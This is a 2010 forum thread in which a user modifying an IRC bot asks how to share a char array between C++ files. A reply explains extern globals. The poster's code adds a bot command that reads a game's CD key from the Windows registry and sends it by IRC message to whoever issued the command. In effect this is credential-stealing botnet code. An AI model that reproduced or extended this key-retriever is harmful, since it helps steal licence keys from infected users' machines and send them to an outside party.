Accessing a char array everywhere

Discussion in 'C' started by david84, Sep 2, 2010.

  1. david84

    david84 New Member

    Joined:
    Sep 2, 2010
    Messages:
    1
    Likes Received:
    0
    Trophy Points:
    0
    Not the most appropriate title as I wasn't really sure how to describe my situation in so few words. So here is a proper explanation:
    I found an IRC bot source where the bot would just join the channel and wait for commands and I started to mod it a little and add a few commands. One of the commands is a game key retriever. This is what I ideally want in my irc.cpp file:
    Code:
    else if (!strcmp(word[p], cmd_keyretriever)) {
                    Key("SOFTWARE\\Activision\\Call of Duty 4", "codkey", "Call of Duty 4: ");
                    IRC_Send(sock, MSG_PRIVMSG, string, from);                
            } 
    
    And then in my retriever.cpp:

    Code:
    void Key(char *loc, char *regkey, char *name)
    {
            HKEY key;
            char Serial[25];
            DWORD len = sizeof(Serial);
            if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS) {
                    RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
                    wsprintf(string, "%s%s", name, Serial);
            }
    } 
    
    I also have a headerfile; retriever.h:
    Code:
    void Key(char *loc, char *regkey, char *name); 
    So my problem is, is that I cannot for the life of me, create a char array that is accessable by both irc.cpp & retriever.cpp. I've tried extern chars in a header file included in both but there's always a clash or it can't convert something to something else.
    Or perhaps there's a better way than setting the value of a char array in retriever.cpp and then using it in irc.cpp?
     
  2. techgeek.in

    techgeek.in New Member

    Joined:
    Dec 20, 2009
    Messages:
    572
    Likes Received:
    19
    Trophy Points:
    0
    Occupation:
    EOC (exploitation of computers)..i m a Terminator.
    Location:
    Not an alien!! for sure
    Home Page:
    http://www.techgeek.in
    Well if you want to use extern, you could declare it global in say, the file with main. And then use the extern keyword in another file.

    so:

    main.cpp
    Code:
    int some_array[MAX_SIZ];
    
    int main(){
    .
    .
    .
        return 0;
    }
    
    
    and then:

    some_other_file.cpp

    Code:
    extern int some_array[MAX_SIZ];
    
     

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice